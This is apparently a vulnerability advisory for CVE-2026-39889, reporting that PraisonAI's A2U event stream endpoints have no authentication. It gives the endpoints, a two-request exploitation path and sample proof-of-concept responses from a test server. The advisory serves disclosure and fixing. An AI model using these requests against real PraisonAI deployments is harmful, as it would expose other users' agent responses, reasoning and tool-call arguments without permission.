CVE-2026-39889

The A2U (Agent-to-User) event stream server in PraisonAI exposes all agent activity without authentication. This is a separate component from the gateway server fixed in CVE-2026-34952.

The createa2uroutes() function registers the following endpoints with NO authentication checks:

• GET  /a2u/info       — exposes server info and stream names
• POST /a2u/subscribe  — creates event stream subscription
• GET  /a2u/events/{stream_name} — streams ALL agent events
• GET  /a2u/events/sub/{id}     — streams events for subscription
• GET  /a2u/health     — health check

​

An unauthenticated attacker can:

1. POST /a2u/subscribe → receive subscription_id
2. GET /a2u/events/sub/{subscription_id} → receive live SSE stream 

   of all agent events including responses, tool calls, and thinking

This exposes sensitive agent activity including responses, internal  reasoning, and tool call arguments to any network attacker.

<img width="1512" height="947" alt="image" src="https://github.com/user-attachments/assets/3438f3ea-75ec-4978-9dd9-d9a6da42c248" />

<img width="1512" height="571" alt="image" src="https://github.com/user-attachments/assets/ee3313f6-f522-48f7-9c06-e5e265c6aeb4" />

​

[1] POST /a2u/subscribe (no auth token)

    Status: 200

    Response: {"subscriptionid":"sub-a1ad8a6edd8b","streamname":"events",

    "stream_url":"http://testserver/a2u/events/sub-a1ad8a6edd8b"}

    Got subscription_id: sub-a1ad8a6edd8b

[2] GET /a2u/info (no auth token)

    Status: 200

    Response: {"name":"A2U Event Stream","version":"1.0.0",

    "streams":["events"],"event_types":["agent.started","agent.thinking",

    "agent.tool_call","agent.response","agent.completed","agent.error"]}

[3] GET /a2u/health (no auth token)  

    Status: 200

    Response: {"status":"healthy","activesubscriptions":1,"activestreams":1}

​

Impact: Attacker can subscribe and receive ALL agent events including responses, tool calls, and internal reasoning in real-time